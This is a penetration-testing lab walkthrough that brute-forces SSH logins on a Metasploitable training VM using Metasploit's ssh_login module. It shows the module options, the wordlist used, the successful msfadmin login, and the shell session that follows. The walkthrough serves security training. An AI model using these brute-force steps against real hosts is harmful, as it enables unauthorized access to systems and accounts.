Metasploitable/SSH/Exploits

SSH Service Info

First, a reminder of the information nmap returned about the SSH service after a port scan:

22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)

This server isn't using the 1.0 protocol, which is hopelessly broken and easy to defeat. This means getting past SSH will be (at least) mildly challenging.

Links with Background Info

Here is some good background info two SSH attacks: https://www.offensive-security.com/metasploit-unleashed/scanner-ssh-auxiliary-modules/

The first attack is ssh_login, which allows you to use metasploit to brute-force guess SSH login credentials.

• Module name is auxiliary/scanner/ssh/ssh_login

The second attack requires a private key. If you do gain access to the private SSH keys on a machine, you can attempt to authenticate with a large number of hosts and services using that private key.

• Module name is auxiliary/scanner/ssh/ssh_login_pubkey

Brute Force ssh_login

We already covered how to brute force the login with Hydra, Metasploitable/SSH/Brute Force

Did you know you can also brute force an SSH login with Metasploitable? Use the auxiliary/scanner/ssh/ssh_login module.

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > show options

Module options:

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             yes       Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

Set this to run on the Metasploitable virtual box target:

msf auxiliary(ssh_login) > set RHOSTS 10.0.0.27
RHOSTS => 10.0.0.27
msf auxiliary(ssh_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
USERPASS_FILE => /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
msf auxiliary(ssh_login) > set VERBOSE false
VERBOSE => false

Now run the attack:

msf auxiliary(ssh_login) > run

[*] 10.0.0.27:22 - SSH - Starting buteforce
[*] Command shell session 1 opened (?? -> ??) at 2016-03-26 17:25:18 -0600
[+] 10.0.0.27:22 - SSH - Success: 'msfadmin':'msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Wed Apr 10 12:02:00 UTC 2014 i686 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > 

At this point, we can create a session with the machine that we compromised. Here we execute some commands as user msfadmin, to see what groups we're in:

msf auxiliary(ssh_login) > sessions -i 1
[*] Starting interaction with 1...

id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Wed Apr 10 12:02:00 UTC 2014 i686 GNU/Linux '
exit
[*] Command shell session 1 closed.
msf auxiliary(ssh_login) >